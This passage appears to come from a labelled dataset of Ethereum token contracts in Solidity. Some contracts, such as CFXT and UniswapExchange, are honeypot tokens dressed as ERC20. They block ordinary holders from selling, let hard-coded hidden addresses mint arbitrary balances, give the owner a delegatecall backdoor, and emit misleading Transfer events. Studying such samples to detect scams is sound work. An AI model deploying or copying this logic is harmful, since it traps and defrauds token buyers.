function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CFXT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,383 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,399 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BellaBluToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BellaBluToken() public {
symbol = "BBCAT";
name = "BellaBlu Token";
decimals = 18;
bonusEnds = now + 8 weeks;
endDate = now + 16 weeks;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1500;
} else {
tokens = msg.value * 1000;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,247 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract DSYS is ERC20 {
using SafeMath for uint256;
address public admin;
string public constant name = "DSYS";
string public constant symbol = "DSYS";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => bool) internal blacklist;
event Burn(address indexed from, uint256 value);
bool public checkTokenLock = false;
modifier adminOnly {
require(msg.sender == admin);
_;
}
modifier transferable {
require(msg.sender == admin || !checkTokenLock);
_;
}
function DSYS(uint256 _initialSupply) public {
balances[msg.sender] = _initialSupply.mul(1e18);
totalSupply = _initialSupply.mul(1e18);
admin = msg.sender;
}
function blockTransfer(bool _block) external adminOnly {
checkTokenLock = _block;
}
function updateBlackList(address _addr, bool _inBlackList) external adminOnly{
blacklist[_addr] = _inBlackList;
}
function isInBlackList(address _addr) public view returns(bool){
return blacklist[_addr];
}
function balanceOf(address _who) public view returns(uint256) {
return balances[_who];
}
function transfer(address _to, uint256 _amount) public transferable returns(bool) {
require(_to != address(0));
require(_to != address(this));
require(_amount > 0);
require(_amount <= balances[msg.sender]);
require(blacklist[msg.sender] == false);
require(blacklist[_to] == false);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public transferable returns(bool) {
require(_to != address(0));
require(_to != address(this));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
require(blacklist[_from] == false);
require(blacklist[_to] == false);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns(bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function burnTokens(address _investor, uint256 _value) external adminOnly {
require(_value > 0);
require(balances[_investor] >= _value);
totalSupply = totalSupply.sub(_value);
balances[_investor] = balances[_investor].sub(_value);
Burn(_investor, _value);
}
} | 1 | 3,012 |
pragma solidity ^0.4.6;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract ENT is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 1600000000;
uint256 public buyPrice = 1;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function ENT() TokenERC20(INITIAL_SUPPLY, 'Entertainment chain', 'ENT') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
} | 0 | 2,229 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract GIT {
using SafeMath for uint256;
address public owner;
address public tokenAddress;
address public tokenSender;
uint256 public tokenApproves;
mapping (address => bool) public blacklist;
uint256 public totalAirdrop = 4000e18;
uint256 public unitUserBalanceLimit = uint256(1e18).div(100);
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalAirdrop.sub(totalDistributed);
uint256 public value = 1e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event DistrStarted();
event LOG_receiveApproval(address _sender,uint256 _tokenValue,address _tokenAddress,bytes _extraData);
event LOG_callTokenTransferFrom(address tokenSender,address _to,uint256 _value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier canNotDistr() {
require(distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function GIT () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function changeTokenAddress(address newTokenAddress) onlyOwner public {
if (newTokenAddress != address(0)) {
tokenAddress = newTokenAddress;
}
}
function changeTokenSender(address newTokenSender) onlyOwner public {
if (newTokenSender != address(0)) {
tokenSender = newTokenSender;
}
}
function changeValue(uint256 newValue) onlyOwner public {
value = newValue;
}
function changeTotalAirdrop(uint256 newtotalAirdrop) onlyOwner public {
totalAirdrop = newtotalAirdrop;
}
function changeUnitUserBalanceLimit(uint256 newUnitUserBalanceLimit) onlyOwner public {
unitUserBalanceLimit = newUnitUserBalanceLimit;
}
function changeTotalRemaining(uint256 newTotalRemaining) onlyOwner public {
totalRemaining = newTotalRemaining;
}
function changeTotalDistributed(uint256 newTotalDistributed) onlyOwner public {
totalDistributed = newTotalDistributed;
}
function changeTokenApproves(uint256 newTokenApproves) onlyOwner public {
tokenApproves = newTokenApproves;
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function startDistribution() onlyOwner canNotDistr public returns (bool) {
distributionFinished = false;
DistrStarted();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
require(callTokenTransferFrom(_to, _amount));
if (totalDistributed >= totalAirdrop) {
distributionFinished = true;
}
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalAirdrop) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalAirdrop) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalAirdrop) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
require(msg.sender.balance.add(msg.value) >= unitUserBalanceLimit);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalAirdrop) {
distributionFinished = true;
}
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function getTokenBalance(address _tokenAddress, address _who) constant public returns (uint){
ForeignToken t = ForeignToken(_tokenAddress);
uint bal = t.balanceOf(_who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function receiveApproval(address _sender,uint256 _tokenValue,address _tokenAddress,bytes _extraData) payable public returns (bool){
require(tokenAddress == _tokenAddress);
require(tokenSender == _sender);
require(totalAirdrop <= _tokenValue);
tokenApproves = _tokenValue;
LOG_receiveApproval(_sender, _tokenValue ,_tokenAddress ,_extraData);
return true;
}
function callTokenTransferFrom(address _to,uint256 _value) private returns (bool){
require(tokenSender != address(0));
require(tokenAddress.call(bytes4(bytes32(keccak256("transferFrom(address,address,uint256)"))), tokenSender, _to, _value));
